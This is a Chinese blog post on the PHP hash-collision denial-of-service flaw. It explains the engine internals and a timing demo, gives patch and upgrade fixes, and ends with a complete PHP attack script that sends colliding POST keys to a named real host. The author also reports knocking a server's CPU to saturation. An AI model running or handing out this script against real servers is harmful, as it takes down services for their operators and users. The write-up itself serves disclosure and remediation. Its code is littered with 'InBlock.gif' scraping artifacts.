工作原理:
 
PHP的数据类型是人们所喜爱的,因为它用起来方便。然而为了实现这种方便,必然要用到哈希表。
我们先来看一下PHP是怎样储存变量的:
InBlock.giftypedef        union        _zvalue_value        {
InBlock.gif   long        lval;           /*        long        value        */
InBlock.gif             double        dval;                         /*        double        value        */
InBlock.gif   struct        {
InBlock.gif     char        *val;
InBlock.gif     int        len;
InBlock.gif  }        str;
InBlock.gif  HashTable        *ht;         /*        hash        table        value        */
InBlock.gif  zend_object_value        obj;
InBlock.gif}        zvalue_value;
InBlock.gif
以上代码在PHP 5.3.6中位于Zend/zend.h的305行。
在这个联合体中,有long保存整型、double保存浮点型、和struct来保存字符串型的字符串与字符串长度。
在其后的
InBlock.gif struct _zval_struct {
InBlock.gif        zvalue_value value;
InBlock.gif        zend_uint refcount__gc;
InBlock.gif        zend_uchar type;
InBlock.gif        zend_uchar is_ref__gc;
InBlock.gif};
InBlock.gif
 
中,type表示这个变量在PHP中的类型(详见附录1)。然而其中的HashTable *ht就是键名所保存的地方。我们知道链表的操作时间复杂度为O(n),而相比之下,设计得好的哈希表通常情况下只有O(1)。
PHP使用的算法是DJBX33A(http://blog.csdn.net/zuiaituantuan/article/details/6057586),然而如果键名为×××,那么情况就不一样了。PHP为整型键名做的是 hash & tableMask(&为按位与操作)的操作。
InBlock.gifh = zend_inline_hash_func(arKey, nKeyLength);
InBlock.gifnIndex = h & ht->nTableMask;
InBlock.gifp = ht->arBuckets[nIndex];
InBlock.gif
 
如果得到的p!==NULL,那么恭喜你,发生碰撞了。这个时候,PHP就会将新元素链接到原有元素链表头部。而查询的时候也是按照相同的策略,将链表中的所有的键名和要查找的键名进行一一比对,但是一般在正常使用的情况下,不会有多大问题。
那么知道了这种特性以后,要发起***,就变得简单了,只要对PHP页面发送POST请求(不论script中是否对POST进行处理),别有用心的构造key,那么PHP在引擎层面处理POST数据的时候,已经足以崩溃。
例如:64,128,192,256这样的int型key的hash值是0,那么就会发生碰撞,当key为64进行存储的时候,链表操作是0次,128为1次,192为2次,以此类推则有:time(n) = n-1;那么n个这样的key的链表操作数据就是0+1+2+3+...+(n-1) = (n-1)*(n-2)/2。
 
我们看一段代码:
InBlock.gif<?php echo '<pre>';
InBlock.gif
InBlock.gif$size = pow(2, 15); // 16 is just an example, could also be 15 or 17
InBlock.gif
InBlock.gif$startTime = microtime( true);
InBlock.gif
InBlock.gif$array = array();
InBlock.gif for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
InBlock.gif        $array[$key] = 0;
InBlock.gif}
InBlock.gif
InBlock.gif$endTime = microtime( true);
InBlock.gif
InBlock.gifecho 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
InBlock.gif
InBlock.gif$startTime = microtime( true);
InBlock.gif
InBlock.gif$array = array();
InBlock.gif for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
InBlock.gif        $array[$key] = 0;
InBlock.gif}
InBlock.gif
InBlock.gif$endTime = microtime( true);
InBlock.gif
InBlock.gifecho 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";
InBlock.gif
 
以上这段代码来自参考资料第一条链接。
用第一种方法(恶意***)生成出来的数组大概要跑59.7秒,而下面的方法(正常情况)仅仅需要0.035秒。(Ubuntu 32位桌面环境 ,3.4G 内存,E8400 3.0G双核)
后来把上面的方法做成高斯炮,间隔着两炮打出去,服务器负载立马到0.9,CPU占用率高达29%。后来又做了一系列的尝试,发现高斯炮能瞬间占满CPU和内存。
 
解决方法:
 
1.如果是php-5.2.x的版本,通过打补丁可以修复此漏洞
 
patch地址:
 
2.如果是php-5.3.x的版本,修复漏洞有两种方法
第一种:修改php-5.3.x的源码
  
A.  修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令:
STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)
 
B.修改文件/main/php_globals.h,_php_core_globals结构体内加上:
long max_input_vars;
 
C.修改文件/main/php_variables.c,在:
zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
之前加入:
if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {
php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));
}
 
源码修改完之后,进入原来的php源码目录:
make clean
make
make install
 
测试:
phpinfo:
出现max_input_vars=1000(默认值,可以在php.ini中配置此参数)
 
第二种方法:升级php主程序(建议使用)
官方在PHP-5.3.9RC2中修复了此漏洞
PHP 5.3.9RC2 :
 
PHP 5.4.0RC2:
 
注释:
另外, 其他语言java, ruby等, 请各位也预先想好对策, 限制post_size是治标不治本的方法, 不过可以用来做临时解决方案.
 
 
InBlock.gifDDOS***程序:
InBlock.gif
InBlock.gif<?php
InBlock.gifset_time_limit(0);
InBlock.gif
InBlock.gif /**
InBlock.gif * 设置变量
InBlock.gif */

InBlock.gif$host = 'www.teamtop.com';   //域名
InBlock.gif$uri = '/index.php';   //建立一个名为response.php的php文件,里面什么都不用写
InBlock.gif$data = '';         //拼接***参数
InBlock.gif$size = pow(2, 16);
InBlock.gif for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key += $size) {
InBlock.gif        $data .= '&array[' . $key . ']=0';
InBlock.gif}
InBlock.gif /**
InBlock.gif * 发送***请求
InBlock.gif */

InBlock.gif$str = "POST {$uri} HTTP/1.1\r\n";
InBlock.gif$str .= "Host: {$host}\r\n";
InBlock.gif$str .= "Content-type: application/x-www-form-urlencoded\r\n";
InBlock.gif$str .= "Content-length: " . strlen($data) . "\r\n";
InBlock.gif$str .= "Connection: close\r\n";
InBlock.gif$str .= "\r\n";
InBlock.gif$str .= "{$data}\r\n";
InBlock.gif
InBlock.gif$fp = @fsockopen($host, 80, $errno, $errstr, 30);
InBlock.gif if (!$fp)
InBlock.gif  die('err');
InBlock.giffputs($fp, $str);
InBlock.gif$s = '';
InBlock.gif while (!feof($fp))
InBlock.gif  $s .= fgets($fp, 1024);
InBlock.giffclose($fp);
InBlock.gif
InBlock.gifecho 'ok';
 
在***程序同层目录创建空文件response.php
注意观察:获取ok的时间,及服务器的CPU占用率
 
刚刚修复了服务器的这个漏洞,整合了网上的一些资料,跟大家做个分享!